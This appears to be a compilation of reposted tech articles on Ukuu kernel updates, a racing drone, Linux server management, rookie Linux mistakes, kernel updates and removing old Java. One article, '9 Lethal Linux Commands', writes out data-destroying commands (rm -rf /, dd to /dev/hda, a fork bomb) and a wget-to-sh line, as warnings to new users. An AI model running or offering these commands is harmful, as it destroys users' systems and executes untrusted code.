How to Easily Upgrade Ubuntu’s Linux Kernel With Ukuu

What Is a Kernel?

The kernel is basically an important piece of software found in every operating system. It acts as a mediator between the software you run every day (e.g. web browsers), and the hardware that it’s running on. Essentially, without a kernel, other programs cannot function since they can’t access your computer’s resources.

For example, open up your task manager. All of your processes take up some amount of your computer’s memory. It is the operating system’s kernel that is quietly allocating this memory to your programs.

Different operating systems have different kernels. For Linux users, this means using operating systems built upon the Linux kernel. Other examples include the NT kernel (Windows) and the XNU kernel (Mac).

Why Should I Upgrade My Kernel?

Since the kernel is essentially the go-between for your programs and the hardware it’s running on, updates can provide a myriad of benefits. Two examples of these include better support for your computer system, and improved performance.

art of the Linux kernel is devoted solely to controlling things like your graphics card and CPU in the form of device drivers. These drivers inside the kernel tend to be limited to a particular range of hardware. With newer and newer technologies coming out, drivers need to be constantly added and updated to match them. If you’re using a partially unsupported computer, upgrading the kernel may help it become more compatible.

Along with this, system performance can go hand-in-hand with better drivers. Your graphics performance in particular get almost constant improvements per release. Just don’t expect miracles!

Unfortunately, the process of upgrading a kernel by hand can be a little tedious, and that’s where Ukuu comes in.

What Is Ukuu?

Ukuu (short for Ubuntu Kernel Update Utility) makes updating your Ubuntu kernel much easier to perform. It downloads newer kernels from the internet, and changes your system to let it use them. All you really have to do is choose which kernel you’d like and reboot into it.

Traditionally, updating your kernel means installing a new copy of Ubuntu over your old Linux box. If you repeat your installation experience a couple of times, you’ll see how it can eat up some time. Ukuu makes this process as easy as installing a program from the Ubuntu Software Center.

Getting Ukuu

Enter these commands in the terminal to install Ukuu:

sudo apt-add-repository -y ppa:teejee2008/ppa

You can’t get Ukuu by default from the list of software that Ubuntu provides. As such, using the above command, we point our package manager to the desired repository. Adding such locations lets us install software that Ubuntu doesn’t have by default (such as Ukuu).

sudo apt-get update

Package managers (such as APT), work by retrieving a list of all the software that they can install. The second command ensures that this list is up to date. Put shortly, if you don’t enter this command, you won’t be able to find Ukuu!

sudo apt-get install ukuu

The above command actually downloads and installs the program. Alternatively, you could open the Ubuntu Software Center, and install Ukuu from there. After all that, launch the program using the command below.

Read More: click Here

UVify’s plucky little Draco drone hits speeds up to 100 miles an hour

For all the grandiosity of its ancient Grecian name, the Draco is a fairly unassuming thing. It’s surprisingly small and unimposing in fact — and if it weren’t for those four rotors, it would fit comfortably in the palm of your hand.

But UVify’s little drone has tremendous zip when pushed. In fact, the little quadcopter can hit a top speed of 100 miles an hour – which handily blows more mainstream photography drones out of the water.

The startup gave us a sneak peek of the product just ahead of CES’s kickoff this week, happily putting it through its paces, with sweeping 360 barrel rolls and some impressive quick drops/recoveries.

The product represents an emergent market for the technology – drone racers looking for a product that’s ready to fly, right off the shelf. And indeed, the company’s offering up a full package, including the drone, controller, FPV visor and even some tools all bundled in a backpack, akin to what DJI and GoPro have put together for their respective folding drones.

Of course, traditionally a least, there’s been a sizable overlap between those who are interested in drone racing and those who want to build and customize their devices themselves. UVify is banking on the rapid expansion of racing leagues creating a demand for a device that just works.

That said, the Draco does have something of a modular design, so users can swap in parts to upgrade, or in case of collision. The drone’s battery, perhaps unsurprisingly, will only last ten minutes on a charge – and that number drops down to two, if you’re operating it at top speeds. Thankfully, it’s fully swappable, so flyers can push it a bit longer.

Draco is currently up for pre-order, starting at $499 for just the drone. It’s set to start shipping “as soon as” next quarter.

Read more:Click Here

Server management tips: Linux's advantages and avoiding common mistakes

What server management capabilities are unique to Linux, if any?

 Linux presents a number of options on the management front. You can manage a Linux server with an in-band management agent. You can use SSH (Secure Shell), telnet, serial console and connect with PPP (Point-to-Point protocol) through a console server, etc. You can use KVM, remote X, and VNC (virtual network computing). Unix also provides a powerful scripting environment for automating common IT tasks. Many of these options are extremely difficult or impossible to accomplish with a Windows server.

One of the biggest advantages of using Linux is the freedom to customize it to the needs of enterprise data center. IT can easily write scripts to automate their IT processes, which can be completely catered to individual enterprise data center requirements. By moving outside the scope of their traditional Windows-based environment and trying out something new, IT managers have a great deal to gain in efficiency.

What are the most common mistakes IT managers make when managing Linux-based servers?

One of the biggest mistakes IT managers can make is not using the pre-integrated agentless capabilities that standards like IPMI and SMASH provide. In fact, the Aberdeen Group, an industry research firm, stated that IPMI has become a checklist requirement for IT when evaluating infrastructure needs.

IPMI was created by the IPMI Forum back in 1998. It's an industry-wide management initiative that today has more than 180 vendors that work together to continually update and implement this open hardware management standard for servers and other systems such as storage, network and telecommunications equipment. An important characteristic of IPMI is that it is an open and flexible standard that can be supported across tower, pedestal, rack and blade servers -- irrespective of the hardware vendor or Linux build used. And by being pre-integrated within the server, it does not demand any extra management agent purchases - an approach frequently described as agentless.

In emergency and/or ad-hoc situations, administrators often need to interactively manage various servers using specific commands. The challenge however is that different vendors use different commands to do the same thing. Enter SMASH. Defined by the DMTF (Distributed Management Task Force), the SMASH working group released its first specification last year – the SMASH Command Line Protocol (CLP). SMASH CLP addresses IT administrator needs for a universal command line - enabling systems offered by different vendors to be managed with the same commands and scripts.

It's helpful to think of IPMI and SMASH as collaborating with each other. Even though IPMI offers a standardized message interface for developers and vendors inside the server, the server's command line interface often varies from vendor to vendor. Think of SMASH then as the scriptable command line interface (CLI) available out of the box, accessing the IPMI hardware management features in the box.

Could you give examples of how IPMI and SMASH help in the real IT world?

There are three likely scenarios: a large cluster, a branch office, and a mixed rack of 1U servers with blades.

In clusters, how do you diagnose and power cycle the various servers within the cluster when the operating system has hung? By configuring IPMI thresholds within the servers, potential heat and power issues can be recorded and alerted to management consoles, ahead of meltdowns, providing time to fix the problem. Alternatively, power cycling can be achieved by executing the "Power Cycle" SMASH script against the IPMI firmware in the servers using a telnet or SSH2 session.

In a branch office, without local expertise or even personnel to keep an eye on systems, how do you fill the gap? By placing an appliance out at the branch, you can aggregate alerts and secure access to a single point. If an appliance supports SMASH, scripts can be run centrally, irrespective of the model or vendor of those branch servers. Opening a Telnet/SSH2 session to the SMASH appliance enables a health check to be run by pulling IPMI information. Additionally, an 'Inventory Scan' can be run using a SMASH script to identify whether changes have been made out in the field. •

In mixed racks, IPMI and SMASH don't care whether they are being applied to a blade, a motherboard, a plug-in card, or the blade's chassis manager. To the administrator and his scripts, it all looks the same. So what happens when the rack experiences an event? A Stream Console over LAN SMASH script opens multiple operating system console sessions and records what the operating system consoles were doing right before the failure.

What are the most common challenges in managing Linux servers remotely?

The most common challenge is the same for managing any server, whether Linux, Unix or Windows, remotely, which is having a secure way to connect and control even when the server isn't operational. That's why it is important to build an out-of-band management strategy into your server management strategy. You can't assume that the operating systems (OS) will always perform as expected, so unless you build a system that allows you to remotely reload an OS, reboot or power cycle in a secure fashion, you are not spending time or money wisely.

What server management best practices have you seen succeed most often in your work with IT organizations?

 During your data center's design phase, design an out-of-band management strategy, not just an in-band strategy.

Free up valuable time by getting rid of mundane tasks that can be automated.

Consider virtualization: If you haven't yet, you should be, because power and cooling issues and increased costs are not going away, and virtualization is a good method for helping to solve those issues. Virtualization isn't going to go away either, so over time, more tools for leveraging virtualization will be developed. Now is a good time to begin exploring virtualization in a test environment to determine if and how it can be rolled into your data center strategy.
source: searchenterpriselinux.techtarget.com/

10 Mistakes That Make You Sound Like a Rookie Linux User

First off, some people tend to have rather strange ways of pronouncing the word “Linux”. It’s definitely not the easiest word in the world, but it’s not hard either. Linux has two syllables with the same pronunciation as the “lin” in “linens” and “ux” in “flux”. Lin-ux. Easy, right? As a comparison, it’s a bit different than the name of the creator of Linux, Linus Torvalds. His first name is pronounced like “line” and us”. At least that’s how he prefers his name when spoken in English.

Linux Is More Than Ubuntu

There’s no single “Linux” out there, and it definitely isn’t just Ubuntu either. There are tons of other distributions out there, all of which have differences between each other. The beauty (and curse) of having all of these distributions is that you have choice. While they all run Linux at the core, what’s provided along with the core varies, so you can pick what you think suits you best.

Don’t Always Use Sudo

When you run a command in the terminal, it’s sometimes aggravating when it says “permission denied” and you have to redo the command with “sudo” at the beginning. Some rookie Linux users will tend to prefix all of their commands with sudo, even when a lot of them don’t require it. This is bad, because certain commands actually run better when you run them as your own user rather than as root. Of course, it’s also a security risk if everything runs as root and therefore has access to literally everything on your system.

Don’t Run Every Command Given to You

Similarly, rookie Linux users will often run any command on their system that a member of an online support forum claims will help whatever problems you’re encountering. Although rare, it does occasionally happen that people will provide damaging commands to innocent users. We’ve made a list of the most common commands that you should avoid at all costs, so take a look at that if you’re worried. Otherwise, you might find that the system is deleting itself!

Learn How to Use Commands

There are tons of commands out there that you can use. In fact, there are so many that not even the most seasoned Linux users know all of them. The rookie mistake here is not knowing how to help yourself. If there’s ever a command that you come across that you’d like to learn how to use, you can use the man command. So for example, if you need to learn more about the move command mv, you can enter in man mv and it’ll give you detailed documentation over everything mv can do. Not sure how to use man? Just type man man and learn all about it! An easy way to remember this is that man is short for manual.

Stop Relying on WINE

Linux rookies tend to lean too much on WINE or think that WINE can run all Windows applications. While WINE certainly does allow some applications and games to run under Linux, it’s not perfect. In fact, if something works under WINE, you should feel lucky rather than take it for granted. If you want to be a better Linux user, you’ll need to seek alternatives that are native to Linux and use them to their fullest.

Windows Software Isn’t the Only Software

Which comes to my next rookie mistake: Windows software isn’t the only software available. While there are a lot of applications which also have Linux versions (such as Firefox, Chrome, Thunderbird, GIMP, etc.), this isn’t always the case. However, just because that specific application isn’t available on Linux doesn’t mean that the functionality you’re looking for doesn’t exist on Linux. Nine times out of ten, there’s a Linux alternative that doesn’t run on Windows and can give you the same functionality as that Windows application you were looking for.

source:makeuseof.com

9 Lethal Linux Commands You Should Never Run

Delete Recursively

The Linux ability to delete anything you want without question is a godsend, especially after dealing with years of “That file can’t be deleted” errors in Windows. But Internet trolls will be quick to deceive you, presenting you with extremely dangerous removal commands that can wipe entire hard drives.

rm -rf /

This line executes the remove command rm with two toggles: -r which forces recursive deletion through all subdirectories and -f which forces deletion of read-only files without confirmation. The command is executed on the / root directory, essentially wiping your whole system clean.

Note, these days on most Linux systems if you tried doing this you’d get a warning. But the warning isn’t guaranteed, so just don’t do it.

Format Hard Drive

The terminal is especially tricky for Linux newbies because it provides several ways to accidentally wipe one’s hard drive. Recursive deletion is a big one, but here’s another:

mkfs.ext3 /dev/hda

This command formats the hard drive to use the ext3 filesystem. Disk drive formatting is not an inherently malicious action, but it does “reset” the drive such that it’s “as good as new”. In other words, a formatted hard drive is like a blank slate.

Formatting is useful for disk partitions and external drives, but executing it on an entire hard drive (such as /dev/hda) is dangerous and can leave your system in an unrecoverable state.

Overwrite Hard Drive

As if accidental disk formatting wasn’t bad enough, it’s possible to overwrite your hard drive using raw data. At least disk formatting is an actual procedure with real-life uses; directly overwriting one’s drive, on the other hand, is not so great.

command > /dev/hda

In the command above, command can be replaced by any Bash command. The > operator redirects the output from the command on its left to the file on its right. In this case, it doesn’t matter what the output of the left command is. That raw data is being redirected and used to overwrite the system hard drive.

As you can imagine, this renders it useless.

Wipe Hard Drive

Here’s another way to ruin your system. This time around, the command will completely zero out your hard drive. No data corruptions or overwrites; it will literally fill your hard drive with zeroes. A hard drive doesn’t get any more wiped than that.

dd if=/dev/zero of=/dev/hda

The dd command is a low-level instruction that’s mostly used to write data to physical drives. The if parameter determines the source of data, which in this case is /dev/zero, a special on Linux that produces an infinite stream of zeroes. The of parameter determines the destination of those zeroes, which is the /dev/hda drive.

Yes, there are legitimate reasons for zeroing a drive, but if you don’t know what those reasons are, then you’ll want to stay away from this command.

Implode Hard Drive

If you’re tired of hearing ways to wreck your hard drive, hang on. Here’s one more for you. On Linux, there’s a special file called /dev/null that will discard whatever data is written to it. You can think of it as a black hole or a file shredder: anything given to it as input will be eaten up for good.

mv / /dev/null

Can you spot the danger here? The mv command tries to move the system’s root directory / into the black hole of /dev/null. This is a valid command and the result is devastating: the hard drive gets eaten up and there’s nothing left. Doing this will make your system unusable.

Cause Kernel Panic

Windows has its infamous Blue Screen of Death. And despite the myths that float around, Linux is not a perfectly secure system. Sometimes, an internal error occurs from which recovery is impossible, so the system will enact something similar to the Blue Screen: a kernel panic.

dd if=/dev/random of=/dev/port

echo 1 > /proc/sys/kernel/panic

cat /dev/port

cat /dev/zero > /dev/mem

The intricacies of the above commands aren’t important here. What is important is that running any of those lines will result in a kernel panic, forcing you to reboot your system. It’s best to stay away from these commands unless you’re absolutely sure you know what you’re doing.

Fork Bomb

Bash is the language of the Linux terminal and it’s powerful. Not only can it run commands but it can also run functions, which makes it easy to write scripts that can automate system tasks. Unfortunately, functions don’t come without their own set of risks.

:(){:|:&};:

This obscure command is called a fork bomb, which is a special type of kernel panic. It defines a function named : that recursively calls itself twice when executed. One of the recursive calls happens in the foreground while the other happens in the background.

In other words, whenever this function executes, it spawns two child processes. Those child processes spawn their own child processes, and this cycle keeps going in an infinite loop. The only way out of it is to reboot the system.

Execute Remote Script

Here’s an innocent command that can actually be useful in day-to-day life on a Linux system. wget retrieves the contents of a web URL, which can be used to access websites or download files. However, there’s a simple trick that turns it dangerous:

wget http://an-untrusted-url -O- | sh

The above combination downloads the contents of the given URL and immediately feeds it to the sh command, which executes the downloaded contents in the terminal. If the URL were to point to a malicious script, you’d be sealing your own fate with this command.

Disable Root Command Rights

This final command is straightforward. It utilizes the commonly used rm command to disable two of the most important commands on Linux: sudo and su. Long story short, these two allow you to run other commands with root permissions. Without them, life on Linux would be miserable.

rm -f /usr/bin/sudo;rm -f /bin/su

Which is why you shouldn’t run this command. It force deletes both commands from your system without any confirmation, leaving you in a jam. There are ways to restore what you’ve deleted, but it’s not always straightforward nor will it be pleasant.

source:makeuseof.com

5 Reasons Why You Should Update Your Kernel Often

If you’re using a Linux distribution like Ubuntu or Fedora, you’re also using the Linux kernel, the core that actually makes your distribution a Linux distribution. Windows also has its own kernel that its operating systems use, but Linux is highly modular and therefore the kernel is more commonly discussed as a lot can be done with it. For example, you could take the kernel, patch it up with lots of fixes, tweak other settings, strip out everything you won’t need, and then replace your original kernel with your final product, and it will run just fine (assuming it was done right). Being able to simply replace a part with something else without issue is what makes Linux great.

But your distribution constantly asks you to update your kernel. Why should you do this when it’s been running just fine?

Security Fixes

Virtually every single kernel update will have some sort of security fixes that close up holes that have been discovered. This is probably one of the most important reasons to update your kernel, as you’ll always be safer with a patched kernel. If a hacker manages to get into the kernel, a lot of damage can be done or the system simply crashes. Those are inconveniences that are easily avoided with up-to-date kernels.

Stability Improvements

Not only do kernel updates bring with it security fixes, but it can fix other issues that could possibly make the system crash through regular use. Some people argue that constantly updating the kernel actually decreases the overall system stability because you’ll be running on a kernel that you’ve never used, so you cannot assume that it will work as well as the kernel you were previously running on. While this is also true, that margin is rather slim, and only people who run servers or other important systems really need to be cautious. For most normal consumer-type users, updating your kernel outweighs those issues by a lot.

Updated Drivers

While those were the updates you get with minor kernel updates (say 3.2.0 to 3.2.1), let’s check out some improvements you can commonly see with major updates (think 3.2 to 3.3). First of all, every major kernel update is guaranteed to include the latest open source drivers for all of your devices. Out of all the drivers being updated, the graphics drivers are probably those that you’ll notice the most, as every refresh usually adds a bit more performance. While it’s always possible to go the proprietary route, knowing that the open source drivers keep getting better and better is good too.

Read more:Click Here

Why should I uninstall older versions of Java from my system?

This article applies to:

Platform(s): Windows 10, Windows 7, Windows 8, Windows Vista, Windows XP, Windows 2008 Server, Windows Server 2012

The latest version of Java is always the recommended version as it contains feature updates, vulnerability fixes and performance improvements to previous versions. You can confirm that you have the latest version with the Java Verification page or manually checking the Java version.

Should I uninstall older versions of Java?

We highly recommend that you uninstall all older versions of Java from your system.

Keeping old versions of Java on your system presents a serious security risk.

Uninstalling older versions of Java from your system ensures that Java applications will run with the latest security and performance improvements on your system.

How can I remove older versions of Java?

Windows users can safely uninstall older versions of Java:

• when installing Java 8 (8u20 and above) or

• by using the Java uninstall tool or

• by manually uninstalling Java for Windows

How do I remove Java from my computer?

Windows: You can uninstall versions of Java manually in the same way as you would uninstall any other software from your Windows computer. Follow the instructions on manually uninstalling Java for Windows. 
» Mac uninstall Java instructions 
» Linux uninstall Java instructions

Do I need older versions of Java?

The latest available version is compatible with the older versions. However, some Java applications (or applets) can indicate that they are dependent on a particular version, and may not run if you do not have that version installed. If an application or web page you access requires an older version of Java, you should report this to the provider/developer and request that they update the application to be compatible with all Java versions.

Read more: https://www.java.com/en/download/faq/remove_olderversions.xml